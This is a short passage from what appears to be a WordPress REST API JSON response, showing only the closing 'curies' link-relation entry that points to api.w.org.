06"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}